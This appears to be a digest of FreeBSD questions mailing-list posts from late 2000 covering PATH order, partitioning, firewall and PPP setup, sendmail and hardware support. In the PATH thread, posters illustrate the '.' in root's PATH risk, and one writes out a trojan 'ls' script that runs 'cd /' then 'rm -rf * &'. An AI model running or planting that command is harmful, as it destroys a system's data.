Feel free to make a GNU-BSD hybrid if you want, but it would be a
whole new project. Anyway, if you want the GNU tools, why not use one
of the GNU-Linuxes? 
-- 
Crist J. Clark                           cjclark@alum.mit.edu


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> Let's say we find a binary of an app located in /bin. After thinking
> back, also realizing that the same binary was installed manually and
> is located in /usr/local/bin. Which one takes priority? I would assume
> the /bin, but not sure. Is that determined by the order listed in my
> PATH setting or set by default as something else?
> -Otter

That is the meaning of the PATH setting.
It will search the paths in order and the first match it
finds.. then bingo !

Which is why, btw, you shouldn't have "." in root's PATH.
In case some scallywag puts a nasty version of .. say "ls" in 
some innocent directory, and this happens to be a shell script that
does a "rm -rf *" .. ho ho..

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On Fri, Dec 22, 2000 at 10:26:57AM +0300, Igor Robul wrote:
> You can always install GNU/Linux. And have glibc-bug-of-the-week :-)
Of course, I have GNU/Linux system which works very fine :-) Without
problems after I have figured right kernel configuration and have installed
some patches. So I can't say anything bad about GNU/Linux. I like some 
GNU tools too (for example GNU find is easier to use than BSD one),
but I can live without, for example, GNU find :-)
I think one always can build GNU system with BSD kernel or BSD system
with Linux kernel. And there will not be much problems except licenses

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> Which is why, btw, you shouldn't have "." in root's PATH.
> In case some scallywag puts a nasty version of .. say "ls" in 
> some innocent directory, and this happens to be a shell script that
> does a "rm -rf *" .. ho ho..
                ^^^
That'd wipe out the directory in which that trojan is in.  The worst
thing I can see happening is if you wiped out /tmp while running some
/tmp-intensive application (I can't think of any ATM).

Please note, however, that I'm not debating whether having "." in a
path is a good idea.  You're right; it isn't, and not just for root.
Your example didn't show off the dangers very well, though.  No
offense intended.

Regards

						Dima Dorfman
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> > Which is why, btw, you shouldn't have "." in root's PATH.
> > In case some scallywag puts a nasty version of .. say "ls" in 
> > some innocent directory, and this happens to be a shell script that
> > does a "rm -rf *" .. ho ho..
>                 ^^^
> That'd wipe out the directory in which that trojan is in.  The worst
> thing I can see happening is if you wiped out /tmp while running some
> /tmp-intensive application (I can't think of any ATM).
> 
> Please note, however, that I'm not debating whether having "." in a
> path is a good idea.  You're right; it isn't, and not just for root.
> Your example didn't show off the dangers very well, though.  No
> offense intended.
> 
No offence taken !

Improved trojan horse

# ls -- Mr Nasty's ls
# This will teach root to snoop in my directory while having "."
# before /bin in their PATH .. hee hee. The "&" is a nice touch :)
#
cd /
rm -rf * &

Cliff




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    I have what I hope is a simple question.  I'm
still a little new to using FreeBSD.  
When I login, I get a screen similar to the following:

  FreeBSD/i386  (host.domain.net)  (ttypxx)

  Login:

   How can I change/modify the text in the
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----- Original Message ----- 
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>    How can I change/modify the text in the
> "FreeBSD/i386  (host.domain.net)  (ttypxx)"
> portion of the login screen?

Edit /etc/gettytab.
man gettytab for more information.


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>  If I use named as my DNS, does it keeps in memory or disk the
previous
> petitions? Can I handle or customize this "cache" to improve my
system?

named uses memory to store its cache. Configuration documentation for
named is at http://www.isc.org/products/BIND/docs/config/ if you'd like
to investigate options that may better suit your tastes.


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On Fri, Dec 22, 2000 at 10:13:38AM +0100, Christoph Kukulies wrote:
> 
> With a 4.0-R FreeBSD machine which has an uptime of 11 days (only)
> when launching an email from within mutt it takes extremely
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> 
> Sending a mail using 'mail' doesn't expose this behaviour (but this
> may be because the mail is spooled, don't know).
> 
Put the ``set sendmail_wait=-1'' line into your muttrc.


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> Alright i wanna spark a debate.. Can someone tell me why it is
recomended to
> devided your hd into seperate slices for / /usr and /var? Why not put
> everything on a single partition and be done with it? I have a few
setups
> with just a root partition and everything is working great.

For the average home user I would suggest using a single slice for / and
be done with it. It's less hassle, more flexible and not likely to cause
any problems.
But for a busy/important machine compartmentalising limits the scope of
any filesystem issues to bring down to whole machine, for the reasons
given by the others in this thread.


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Hi,

Ok here it is ..

I thought it would be best to give u my entire setup and the contents of all 
my files as it would make it easier that way

Now ive compiled my kernel with the following options:

options		IPFIREWALL
options		IPDIVERT
options		TCP_DROP_SYNFIN
options		TCP_RESTRICT_RST
options		IPFIREWALL_VERBOSE
options		IPFIREWALL_VERBOSE_LIMIT=100

Now i originally had also added:

options		IPFIREWALL_DEFAULT_TO_ACCEPT

But being the very paranoid person i am, i wanted to make a default
deny firewall and only allow the services i wanted in and out.

Now for setting up the basic network, I consulted the "Pedantic PPP
Primer" at  http://www.freebsd.org/tutorials/ppp/index.html

Now this worked originally with default to accept in the kernel and
packets where routed from my gateway to my workstation so i was able
to utilise 'ppp -nat myisp' in doing this, but i did not have a
firewall at the time as i wanted to make sure the NATpacket diverting
would work and it did eventually.

Now the contents of my /etc/rc.conf file is as follows:

hostname="curly.my.domain" # same as the example in the tutorial
# Enable network daemons for user convenience.
# -- sysinstall generated deltas -- #
sendmail_enable="YES"
sshd_enable="YES"
portmap_enable="NO"
nfs_server_enable="NO"
inetd_enable="NO"
usbd_enable="NO"
gateway_enable="YES"
network_interfaces="ed1 lo0"
ifconfig_lo0="inet 127.0.0.1"
ifconfig_ed1="inet 192.168.1.1 255.255.255.0"
firewall_enable="YES"
firewall_quiet="YES"
firewall_type="/etc/firewall/fwrules"
kern_securelevel="1"
kern_securelevel_enable="YES"

Now here is my ruleset as in /etc/firewall/fwrules:

add 00200 allow ip from any to any via lo0
add 00201 allow ip from any to any via ed1
add 00203 allow ip from any to any out via tun0
add 00204 pass all from any to any out via tun0
add 00205 pass all from any to any via ed1
add 00206 pass tcp from any to any established
add 00210 pass tcp from any to any out via tun0
add 00310 allow tcp from 203.173.250.4 to any in recv tun0
add 00311 allow tcp from 203.173.250.2 to any in recv tun0
add 00320 allow tcp from any to any 21 in recv tun0 setup
add 00321 allow tcp from any to any 23 in recv tun0 setup
add 00333 allow tcp from any to any 113 in recv tun0 setup
add 00400 allow udp from 203.173.250.4 to any in recv tun0
add 00401 allow udp from 203.173.250.2 to any in recv tun0
add 00600 allow icmp from 203.173.250.4 to any in recv tun0
add 00601 allow icmp from 203.173.250.2 to any in recv tun0
add 00610 allow log icmp from any to any in recv tun0 icmptype 3
add 00611 allow icmp from any to any out recv tun0 icmptype 3
add 00612 allow log icmp from any to any in recv tun0 icmptype 8
add 00613 allow icmp from any to any out recv tun0 tcmptype 8
add 00614 allow log icmp from any to any in recv tun0 icmptype 0
add 00615 allow icmp from any to any out recv tun0 icmptype 0
add 00700 deny log all from any to any

also, where 203.173.250.4 and 203.173.250.2 = my isp's dns server ip's

I guess once the ruleset is fixed up i would also need a rule to get
icq/irc and irc DCC to work , so if you could fill me in on those that
will be great thanks.

Now when i type 'ipfw list' i see pretty much the same thing except
for log logamount in the place of log also have "add 00200 deny ip
from any to 127.0.0.0/8" which i did not add myself. <shrug> i guess
thats normal.

Contents of /etc/hosts:

<scrolled down to the bottom>
127.0.0.1	localhost	localhost.my.domain
192.168.1.1	curly		curly.my.domain # gateway/router box
192.168.1.2	larry		larry.my.domain # FreeBSD box

Now here is the contents of my /etc/ppp/ppp.conf

default:
ident user-ppp VERSION (built COMPILATIONDATE)
set device /dev/cuaa0
set log Phase Chat LCP IPCP CCP tun command
set speed 115200
set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" ATE1Q0M0
OK-AT-OK\\dATDT\\T TIMEOUT 40 CONNECT"
disable pred1
deny pred1
disable lqr
deny lqr
set timeout 0
set ifaddr 127.1.1.1/0 127.2.2.2/0 255.255.255.0
add 0 0 127.2.2.2
add default HISADDR
enable dns

myisp:
set phone 11111111
set authname username
set authkey password
set timeout 0
set openmode active
accept chap
set ifaddr 127.1.1.1/0 127.2.2.2/0 255.255.255.0
add 0 0 127.2.2.2

Also for the sake of completness my /etc/resolv.conf file has:

nameserver 203.173.250.4
nameserver 203.173.250.2

When i want to connect i would normally do:

curly# ppp -nat myisp
curly# dial myisp

That will get me connected, but thats about all it does

I try ping ihug.com.au (my isp) and i get nothing, used to work with
default accept option in kernel, obvious i guess.

Now i can ping inside boxes like curly and larry, and localhost

Because this is a bare bones router box with just the kernel and
bin files theres not a lot else i can do i believe.



Thanks again, merry christmas


Regards


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> Feel free to make a GNU-BSD hybrid if you want, but it would be a  
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I think I heard of Debian GNU/FreeBSD once, you might want to check. 
 
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On Thu, Dec 21, 2000 at 04:41:09PM +0000, Jason McNew wrote:
> What's the status of DRI support under freebsd?  Does anyone have some
> patches I can play with? :)
>
Have a look at http://wop21.wop.wtb.tue.nl/freebsd/hwaccel.html . It's
a description of how I got DRI going with a Matrox G400, based on postings
in the -multimedia list. 

If you want to play linux games, you have to add some extra libs to
/compat/linux. Here's described how:

http://www.freebsd.org/cgi/getmsg.cgi?fetch=6565+0+/usr/local/www/db/text/2000/freebsd-multimedia/20001203.freebsd-multimedia

At the moment, I only have Quake3 Arena Demo succesfully running with DRI,
my other linux games (UT, Sin demo) seem to have trouble with it. UT works
fine with voodoo2 though :-), but it would be nice to have a performance
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I am curious about the default contents of /etc/hosts. Right after I
install FreeBSD-4.1.1, I look in /etc/hosts and it contains something
like

  127.0.0.1               localhost
  192.168.196.2           janis.quaday.com janis
  192.168.196.2           janis.quaday.com.

I understand the localhost line. But I don't know the reasoning for
including "janis.quaday.com". Is the domain defined explicitly
anywhere when using DNS or is this (and the hostname= line in
/etc/rc.conf) the place where my domain is specified?

And I really don't understand what the "janis.quaday.com." is
doing. Why have the name including DNS 'root'? And why on a separate
line instead of just another alias on the same line?

Finally, what's the correct way to add the other local hosts to my
/etc/hosts? Like

  192.168.196.3           joan

or

  192.168.196.3           joan.quaday.com joan

Thanks for the enlightenment. Now back to figuring out my real
problems. ;-)

Hope you have a very nice day, :-)
Tim Ayers (tayers@bridge.com)



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nope

Peter Brock wrote:

> Is there any other way of doing this withought having to add each user to
> the virtusertable?
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I have a couple of LPr's that are great! Better than my compaq proliants.
Absolutely no hardware burps thus faar, but I haven't enabled smp
yet...just don't have the need on these guys...

cheers,
mikel

Valentin Gorshkov wrote:

> Hello freebsd-questions,
>
> I've got a following question!
> Does anybody have a successfull experience of work with any modern
> HP servers under FreeBSD?
> I need to buy a server for the accounting department, it will work
> under FreeBSD, the supplier can sell us any HP model.. For now we are
> thinking about HP LC 2000R.. can anybody tell me that it's hardware is
> fully supported under FreeBSD?
>
> Thanks!
>
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Dear Sir:

I am the Provincial Accountant of the Province of Negros Oriental and the 
team leader of the technical working group in the implementation of the 
Fund Management Information System (FMIS). It is  an integrated operation 
of Budget, Treasury and Accounting Department.  Next year we will develop 
Payroll and Procurement System.  The modules were developed using Power 
Builder v6.5 -Sybase.  We are using Windows NT Server v4 as the operating 
system.  It seems that the OS is not stable.

We heard about the marvels of your software.  We are asking from your good 
self if FreeBSD can support our Power Builder v6.5 application software and 
Sybase SQL Anywhere as our database engine?

We do have a very efficient operation by next year.  I wonder if you give 
me some advice.

Thank you in advance.

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I have a PCMPC100, I used the default /etc/pccard.conf.  It says driver
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i accidentally overwrote my .fvwm2rc file.
my X is still running fine, since it was loaded with the correct
.fvwm2rc, which was then overwritten weeks later.

So, is there a way to tell fvwm to write the config info it has in
memory out to a file?

In general, can you flush memory contents out to disk?

nathan



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> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Greg Lehey
>
> > I don't speak for Greg, but I think he suggests creating a single
> > partition.  I know there are arguments back and forth, but I think
> > the old argument is root gets very little write access, and
> > therefore should be seperate from /var, /etc, etc.  Perhaps to
> > prevent the root from crashing with another parition.
> 
> No, in this edition I suggest two partitions, / and /usr.  In the next
> edition I'll suggest a single partition of up to 4 GB, and additional
> partitions if the available disk space is larger.
> This isn't what I recommend in the Third Edition,
> but it's a lot simpler.  MICHAEL, by chance you have stumbled on the
> recommendation that will be in the next edition.  You don't need to
> worry about /var and /tmp in this scenario.

My bad.  I must have seen this in the last thread.  I haven't had to use
your book for several months now, so I am a bit rusty.  :-)

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Is there any way to supress these system messages so I can troubleshoot.
These messages come in at such a rateee I cant accomplish anything because
it overwirtes anything I have dsplayed onm the screen

I read the archives and know that the messages are due to either cable
cabling or irq conflicts.  I know the cable is good becaue I it was running
just fine for months before now and I swapped the cable with a store bought
one to be sure.  The problem came when I was troubleshoting with my ISP to
filter out MAC addresses other than the one I had.  I had to remove the card
and in the process may have messed up the irq assignments process.  I belive
I placed it back in the same slot but unsure.

I noted there are two devices using IRQ 10...dc0 and an unknown pci0 card
which I can only guess is my western digital video card but I am not certain
on that.  I only have the two PCI devices and no ISA ones installed.

Can anyone assist here....with these messages scrolling across my screen
like this it is near impossible to do a simple read of /var/log/messages

Thanks

and thanks to dmaddox who was greatly helpful up until I wore out my welcome
with him.  Sorry for missing that one email....I still can't locate the one
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Hello All,

Thursday, December 21, 2000, 11:17:00 PM, Drew wrote:

DS> There's a new port format in place. You need to include delete in your 
DS> cvsup config for ports. If you search questions for this, you're bound 
DS> to find a multitude of messages about it.

DS> System Administrator wrote:

>> I am trying to install a port on Freebsd 3.4
>> 
>> I get the following message
>> Error: your port uses an old layout.  Please update it to match this 
>> bsd.port.mk
>> 
>> I have completely reloaded the port and the bsd.port.mk using cvsup just 
>> today.
>> But I still get the error message.
I have the same problem but!
1) I've got 4.2-RELEASE
2) I enabled *default=delete in cvsupfile
but nevertheless i receive such a message:
"your port uses an old layout.  Please update it to match this
bsd.port.mk"
problem is in that: bsd.port.mk check the exsistence of
MASTERDIR/patches, /pkg and /files/md5. But in some
strange reasons I have subdirs /Attic in /patches and /pkg. Can
someone tell me what is Attic at all?

-- 
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On Fri, Dec 22, 2000 at 08:34:16AM -0600, nathan wrote:
> In general, can you flush memory contents out to disk?

gcore() can do this.
sorry for the other question.

Edwin

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Hello All,

	I've been busy searching the mailing list concerning the now infamous Perc 
controller on PowerEdge systems (Perc 3/Si).  I know it is now supported by 
FreeBsd 4.2.
However, i happen to be a newbie with FreeBSD and i can't get the RAID 
working on my PowerEdge, when i enable RAID in the bios, FreeBSD does'nt 
see the disks but if i enable only SCSI, it work.  anyone know what i am 
talking about?? I found this in the mailing list:

hi, there!

On Wed, 20 Sep 2000, Michael Bryan wrote:

 > I searched the archives for any info on support for Dell's PERC 3/Si
 > RAID controller, and the most recent info I could find was from
 > December 1999, summarized as:
 >
 >       PERC 2/SC support is available in 4.x, including boot support.
 >       PERC 3/Si support is not available, due to inability to get
 >               programming interface info from Adaptec
 >
 > Is there any progress for the PERC 3/Si in the last nine months, or
 > is that still an accurate reflection of FreeBSD support of PERC today?

according to http://people.freebsd.org/~msmith/RAID/
there is support for PERC 3/Si in -current and beta patches for -stable

/fjoe

Anyone have been able to get this  working?
Many thanks..
Marc



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There are (at least) two threads going on this topic. One idea I have not
see mentioned is to separate your data from the O/S. This has obvious
advantages for backup/restore but also for upgrading the O/S.

I think for the home user the various ways of partitioning FreeBSD may
very well be irrelavent or at of little interest until more experience is
gained. Protecting our data is user of all levels can (should?) relate to.

On Fri, 22 Dec 2000, SILVER, MICHAEL A wrote:

> > -----Original Message-----
> > From: owner-freebsd-questions@FreeBSD.ORG
> > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Greg Lehey
> >
> > > I don't speak for Greg, but I think he suggests creating a single
> > > partition.  I know there are arguments back and forth, but I think
> > > the old argument is root gets very little write access, and
> > > therefore should be seperate from /var, /etc, etc.  Perhaps to
> > > prevent the root from crashing with another parition.
> > 
> > No, in this edition I suggest two partitions, / and /usr.  In the next
> > edition I'll suggest a single partition of up to 4 GB, and additional
> > partitions if the available disk space is larger.
> > This isn't what I recommend in the Third Edition,
> > but it's a lot simpler.  MICHAEL, by chance you have stumbled on the
> > recommendation that will be in the next edition.  You don't need to
> > worry about /var and /tmp in this scenario.
> 
> My bad.  I must have seen this in the last thread.  I haven't had to use
> your book for several months now, so I am a bit rusty.  :-)
> 
> ...Michael...
> 
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You can temporarily disable kernel messages being logged to the
console by editing /etc/syslog.conf, and changing the entry that
refers to /dev/console:

*.err;kern.debug;auth.notice;mail.crit		/dev/console
           ^^^^^
Change this to 'none', i.e.:

*.err;kern.none;auth.notice;mail.crit		/dev/console

Then, kill -HUP `cat /var/run/syslog.pid`

(Don't forget to change it back after you get through troubleshooting)

On Fri, Dec 22, 2000 at 09:56:38AM -0800, Jason wrote:
> Is there any way to supress these system messages so I can troubleshoot.
> These messages come in at such a rateee I cant accomplish anything because
> it overwirtes anything I have dsplayed onm the screen
> 
> I read the archives and know that the messages are due to either cable
> cabling or irq conflicts.  I know the cable is good becaue I it was running
> just fine for months before now and I swapped the cable with a store bought
> one to be sure.  The problem came when I was troubleshoting with my ISP to
> filter out MAC addresses other than the one I had.  I had to remove the card
> and in the process may have messed up the irq assignments process.  I belive
> I placed it back in the same slot but unsure.
> 
> I noted there are two devices using IRQ 10...dc0 and an unknown pci0 card
> which I can only guess is my western digital video card but I am not certain
> on that.  I only have the two PCI devices and no ISA ones installed.
> 
> Can anyone assist here....with these messages scrolling across my screen
> like this it is near impossible to do a simple read of /var/log/messages
> 
> Thanks
> 
> and thanks to dmaddox who was greatly helpful up until I wore out my welcome
> with him.  Sorry for missing that one email....I still can't locate the one
> you were talking about.
> 
> 
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In my opinion, this is a BAD idea (using a kernel from a different system).
Install the new system, then copy the kernel config file from
/usr/src/sys/i386/conf  on to your old machine. It's in the same spot. Edit
the file and then recompile.

Henrik

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Subject: how to recovery an old kernel?


Hi,

I just built a new 4.2 workstation and used a kernel from another
system. The other system had a pentium ii, but the  new system has a
pentium iii. Therefore, in the old kernel the cpu was set as 586, not
686. Therefore, the new system does not boot, it hangs as it tries to
determine the cpu.

I initially copied the old  system's kernel to the new system and then
recompiled. I am guessing here but it seems that the only  thing I 
need to do is change the cpu setting in my
kernel and then recompile.

If I could only rn kernel to kernel.bad and then rename kernel.old to
kernel and then reboot and recompile correctly, everything would be ok. 

How do you boot a bad kernel so that you could do the above? I tried
going into edit mode at the point where you can boot in 9 seconds...
or press any other key. However, I cannot accomplish anything here.
-- 
Murray Davis
Converging Technology Solutions
Edmonton, AB


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I seem to keep having this problem no matter how many times
i reinstalled with 4.0-release CD.

I tried on two 30G drives, after install, when i do 'top'
i get top: nlist failed. On boot kernel time, it will show
Not found: /boot/loader
and will auto load /kernel (I installed bootmgr in the setup)


This doesnt affect my 15G drives.




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Hello All,

  Question is in subject. I've got a huge (about 200M) files in my
  /ports directory in every port's dir. What is it???

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If you send named the INT signal (kill -int <pid of named> it will dump
its cache in a file in the "/etc/namedb" directory. 

===Janko van Roosmalen - Vught - Netherlands===

On Thu, 21 Dec 2000, M wrote:

> 
> Hi.
> 
>  If I use named as my DNS, does it keeps in memory or disk the previous
> petitions? Can I handle or customize this "cache" to improve my system?
> 
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Hi Free(BSD)people,
First let me take this opportunity to wish you ALL a MERRY Christmas. It's
been a pleasure knowing a few of you and I must also confess that it's
been worth my time being in this list.
It's given me the chance to figure out quite a good number of things about
the Unix environment but above all it's really changed the methodology I
always employed in looking for solutions to a problem.
I must say that my subscription to freebsd-questions list constituted one
very positive step in my professional life. This has been facilitated by
the friendly heart of a big number of subscribers to this list. At some
point I ended up with the illusion that members of this list were actually
people in their 20s or 30s. In a very short time since I joined the list I
had come to learn the etiquettes of being a member of a mailing list, and
'a living one' for that matter. I had been subscribed to some MS-related
lists and I can tell you it is quite disheartening to realize that all you
can do in a list is to wait for an article to be posted! Maybe there are
TWO types of lists, the type of FBSD-questions and the 'dead' ones.

The feedback one gets in this list is enough to get one out of nowhere to
a very competent user. I must thank all of you abundantly, especially for
the way some members take up issues posted to the list and treat them like
they were the ones having those problems. Actually this is what made me
get to my illusion, giving me the feeling of FreeBSD users being like one
whole party who hold hands together to go across a flooded river, not
wanting to loose any member.

Without naming names, I must also say that I was so keen to visit the
websites hosted by a couple members of the FBSD Core Develpment Team. All
I can say is that I was amazed by the commitment. It was what made me wake
up from my slumber, since I got the chance to see their real faces and
even read their autobigraphies (the little they've stuck up on the web -
which gives quite an insight), and I wondered whatis in these people that
make them sound like so young, while some are really senior citizens.
That they can still spare some (and not little) time from their families
and the husstles of refining FreeBSD to what it is is simply TERRIFIC.

That the ISP I work for in Kenya runs ALL its 6 servers all on FreeBSD proves 
that their efforts are worth the trumpet I am blowing for them. I'm yet to
see another OS that is FREE and also gives FREE support. I thank God for
their talent and efforts.

Kudos to the Core Team and all list members. Happy XMas to all ye that are
Christians and long life.


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On 22 Dec 2000 08:07:20 -0600
Tim Ayers <tayers@bridge.com> wrote:

> I am curious about the default contents of /etc/hosts. Right after I
> install FreeBSD-4.1.1, I look in /etc/hosts and it contains something
> like
> 
>   127.0.0.1               localhost
>   192.168.196.2           janis.quaday.com janis
>   192.168.196.2           janis.quaday.com.
> 
> I understand the localhost line. But I don't know the reasoning for
> including "janis.quaday.com". Is the domain defined explicitly
> anywhere when using DNS or is this (and the hostname= line in
> /etc/rc.conf) the place where my domain is specified?
> 
> And I really don't understand what the "janis.quaday.com." is
> doing. Why have the name including DNS 'root'? And why on a separate
> line instead of just another alias on the same line?
> 
> Finally, what's the correct way to add the other local hosts to my
> /etc/hosts? Like
> 
>   192.168.196.3           joan
> 
> or
> 
>   192.168.196.3           joan.quaday.com joan
> 
> Thanks for the enlightenment. Now back to figuring out my real
> problems. ;-)
> 
> Hope you have a very nice day, :-)
> Tim Ayers (tayers@bridge.com)

this file describe some kind of "shortcuts" to hosts. you can put a line like this
10.1.1.2  joe
for example and do "ssh joe" instead of doing "ssh pcjoe.quaday.com"

this file is less important when you have a dns server on your machine, but not all
people have it, and since the /etc/hosts file is read *before* doing a dns request
(you can change it), it is fast.

on a simple line you have to put 1 IP address, then as many names you want, 
in the default file, the system put
192.168.196.3           joan.quaday.com joan
to bypass the dns procedure. (faster)

I advise you to fill this file with the hosts you often contact to go faster
just be careful that their IP address don't change ...


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Okay.. I feel stupid..

I'm trying to setup POP and SMTP internet mail servers on my box.  I
have a domain (jason-n3xt.org).  On my box I have popper set to run
for POP and sendmail for SMTP.

On my laptop I can setup Outlook Express for my POP server and it
connects and checks mail fine.

I can't seem to figure out how to setup sendmail to work for internet
mail.  I think it has something to do with aliases, but I don't know.
Here is the error message from Outlook Express:

The message could not be sent because one of the recipients was
rejected by the server. The rejected e-mail address was
'res02jw5@gte.net'. Subject 'test', Account: 'jason-n3xt.org', Server:
'jason-n3xt.org', Protocol: SMTP, Server Response: '550 5.7.1
<res02jw5@gte.net>... Relaying denied', Port: 25, Secure(SSL): No,
Server Error: 550, Error Number: 0x800CCC79

On the server I get:

jason-n3xt sendmail[226]: eBMFVUt00226: ruleset=check_rcpt, arg1=<
res02jw5@gte.net >, relay=crtntx1-ar3-098-023.dsl.gtei.net
[4.33.98.23], reject=550 5.7.1 < res02jw5@gte.net>... Relaying denied
jason-n3xt sendmail[229]: eBMFVgt00229: SYSERR(root): hash map
"Alias0": missing map file /etc/mail/aliases.db: No such file or
directory

I've read man sendmail but I didn't learn much...

I also have a problem with incoming mail being to the server.  Again I
think I'm missing something in the setup.  My isp's mail server
returns the error:

   ----- Transcript of session follows -----
... while talking to jason-n3xt.org.:
>>> RCPT To:<jason@jason-n3xt.org>
<<< 550 5.1.1 <jason@jason-n3xt.org>... User unknown
550 <jason@jason-n3xt.org>... User unknown

I'm not even really sure where to start there...

I know it's a lot but if anyone can help I will be eternally greatful.
=)

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Hello,
I was recently advised that compiling and installing pnm2ppa
(http://sourceforge.net/pnm2ppa) would enable me to print my docs in color
to the HP DeskJet 895Cxi that I have attached to my FreeBSD box.
Well, it fails to compile but I want to thing that the problem is peculiar
to me. Has anyone managed to get it going? If not what do you use to make
you docs print in color?

My second question, does everyone else running FreeBSD 4.2-STABLE have to
edit their install options in /stand/sysinstall so that they can access
the ports from the freebsd.org or any of the mirrors? Without doing that I
always get the msg that the ports could not be found on any of those
servers, so I always have to change my OS version to 4.1-STABLE. The same
used to happen with 4.1.1-STABLE. Is there something I need to do to my
sustem?

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 /kernel: pid 235 (sendmail), uid 0: exited on signal 12
What is wrong?
RAM IS NORMAL!




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Hey.

Did anybody suceed with fd1720 flopies ?   I couldn't write any single
1720K image there.

su-2.03# dd if=flogw-4000.bin of=/dev/rfd0.1720
dd: /dev/rfd0.1720: Input/output error
19+0 records in
18+0 records out
9216 bytes transferred in 3.377621 secs (2729 bytes/sec)

Should I do anything special for this ?

Thank you.

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Hey Jason-

I would suggest reading up on virtusertable  in regards to the actual
mailboxes for incoming mail. As for the relaying, you need to add either
your IP or the name that your IP resolves too to the sendmail.cw file (if
sendmail 8.9 something) or the local-host-allow file if newer then that. 

www.sendmail.org   has some pretty good docs on this and I would prefer not
to rewrite them in this email :)

I have never used a sendmail from the ports, so I don't know the "defaults"
that they have setup or anything, so I won't be of much help there.

Henrik
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-----Original Message-----
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Okay.. I feel stupid..

I'm trying to setup POP and SMTP internet mail servers on my box.  I
have a domain (jason-n3xt.org).  On my box I have popper set to run
for POP and sendmail for SMTP.

On my laptop I can setup Outlook Express for my POP server and it
connects and checks mail fine.

I can't seem to figure out how to setup sendmail to work for internet
mail.  I think it has something to do with aliases, but I don't know.
Here is the error message from Outlook Express:

The message could not be sent because one of the recipients was
rejected by the server. The rejected e-mail address was
'res02jw5@gte.net'. Subject 'test', Account: 'jason-n3xt.org', Server:
'jason-n3xt.org', Protocol: SMTP, Server Response: '550 5.7.1
<res02jw5@gte.net>... Relaying denied', Port: 25, Secure(SSL): No,
Server Error: 550, Error Number: 0x800CCC79

On the server I get:

jason-n3xt sendmail[226]: eBMFVUt00226: ruleset=check_rcpt, arg1=<
res02jw5@gte.net >, relay=crtntx1-ar3-098-023.dsl.gtei.net
[4.33.98.23], reject=550 5.7.1 < res02jw5@gte.net>... Relaying denied
jason-n3xt sendmail[229]: eBMFVgt00229: SYSERR(root): hash map
"Alias0": missing map file /etc/mail/aliases.db: No such file or
directory

I've read man sendmail but I didn't learn much...

I also have a problem with incoming mail being to the server.  Again I
think I'm missing something in the setup.  My isp's mail server
returns the error:

   ----- Transcript of session follows -----
... while talking to jason-n3xt.org.:
>>> RCPT To:<jason@jason-n3xt.org>
<<< 550 5.1.1 <jason@jason-n3xt.org>... User unknown
550 <jason@jason-n3xt.org>... User unknown

I'm not even really sure where to start there...

I know it's a lot but if anyone can help I will be eternally greatful.
=)

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I used to support the Netservers, I don't see any reason why FreeBSD =
won't
run quite nicely on them.  Perhaps the only problems would be issues =
with
the disk array controllers, weather or not FreeBSD supports them.

I havnt' worked with those systems though for over a year, I moved over =
to
PA-RISC based workstations (the Visualize systems) of which there is no =
BSD
port yet.  Although someone is working on a OpenBSD port for HP-PA...

Gene Dinkey


> -----Original Message-----
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> Subject: Re: HP servers and FreeBSD..
>=20
>=20
> I have a couple of LPr's that are great! Better than my=20
> compaq proliants.
> Absolutely no hardware burps thus faar, but I haven't enabled smp
> yet...just don't have the need on these guys...
>=20
> cheers,
> mikel
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> Valentin Gorshkov wrote:
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> > Hello freebsd-questions,
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> > I've got a following question!
> > Does anybody have a successfull experience of work with any modern
> > HP servers under FreeBSD?
> > I need to buy a server for the accounting department, it will work
> > under FreeBSD, the supplier can sell us any HP model.. For=20
> now we are
> > thinking about HP LC 2000R.. can anybody tell me that it's=20
> hardware is
> > fully supported under FreeBSD?
> >
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> Hey.
> 
> Did anybody suceed with fd1720 flopies ?   I couldn't write any single
> 1720K image there.

you must fdformat /dev/fd0.1720 (check syntax) first, otherwise
the write fails when it hits the first sector (sec.19 track 0) which
is supposed to be there but is not

Note that almost surely you won't be able to boot from that disk.

	cheers
	luigi

> su-2.03# dd if=flogw-4000.bin of=/dev/rfd0.1720
> dd: /dev/rfd0.1720: Input/output error
> 19+0 records in
> 18+0 records out
> 9216 bytes transferred in 3.377621 secs (2729 bytes/sec)
> 
> Should I do anything special for this ?
> 
> Thank you.
> 
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I'm not sure about the printing, but I've noticed the same with the
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}Odhiambo Washington
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}Subject: pnm2ppa
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}Hello,
}I was recently advised that compiling and installing pnm2ppa
}(http://sourceforge.net/pnm2ppa) would enable me to print my
}docs in color
}to the HP DeskJet 895Cxi that I have attached to my FreeBSD box.
}Well, it fails to compile but I want to thing that the
}problem is peculiar
}to me. Has anyone managed to get it going? If not what do
}you use to make
}you docs print in color?
}
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}edit their install options in /stand/sysinstall so that they
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Is the version of XFree86 in FreeBSD 4.2 (cdrom) listed anywhere?

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  Setup :

          FreeBSD          -- 4.2 Stable 12/21/00 i386
          /dev/ttyd0       -- SB Modem Blaster 56K II
          /dev/ttyd1       -- SB Modem Blaster 56K II
          /dev/gettytab    -- included
          /dev/ttys        -- included

  Problem :

          I'm using `ppp` on /dev/cuaa1 (/dev/ttyd1) to dial in to 
          /dev/ttyd0.  ttyd0 picks up and talks with ttyd1, and seems
          to establish a connection.  ttyd0 tells ttyd1 that it has connected
          at what ever speed ttyd1 asks for (ie "CONNECT 9600").  When
          I use `watch` to look at what is going on with ttyd0, it shows
          the usual login prompt.  However on ttyd1 all I see is the "CONNECT"
          message and then garbage.  When I type anything in `ppp` (ttyd1)
          it shows up as garbage on both the `watch` of ttyd0 and in `ppp`
          of ttyd1, but it is not the same garbage.  The modems are identical
          and have identical register settings save for the answer register.
          Thanks for any help you might give.

--- /dev/gettytab ---

default:\
	:cb:ce:ck:lc:fd#1000:im=\r\n%s/%m (%h) (%t)\r\n\r\n:sp#1200:

a|std.110|110-baud:\
	:np:nd#1:cd#1:uc:sp#110:
b|std.134|134.5-baud:\
	:np:nd#1:cd#2:ff#1:td#1:sp#134:ht:nl:
1|std.150|150-baud:\
	:np:nd#1:cd#2:td#1:fd#1:sp#150:ht:nl:lm=\E\72\6\6\17login\72 :
c|std.300|300-baud:\
	:np:nd#1:cd#1:sp#300:
d|std.600|600-baud:\
	:np:nd#1:cd#1:sp#600:
f|std.1200|1200-baud:\
	:np:fd#1:sp#1200:
6|std.2400|2400-baud:\
	:np:sp#2400:
7|std.4800|4800-baud:\
	:np:sp#4800:
2|std.9600|9600-baud:\
	:np:sp#9600:
g|std.19200|19200-baud:\
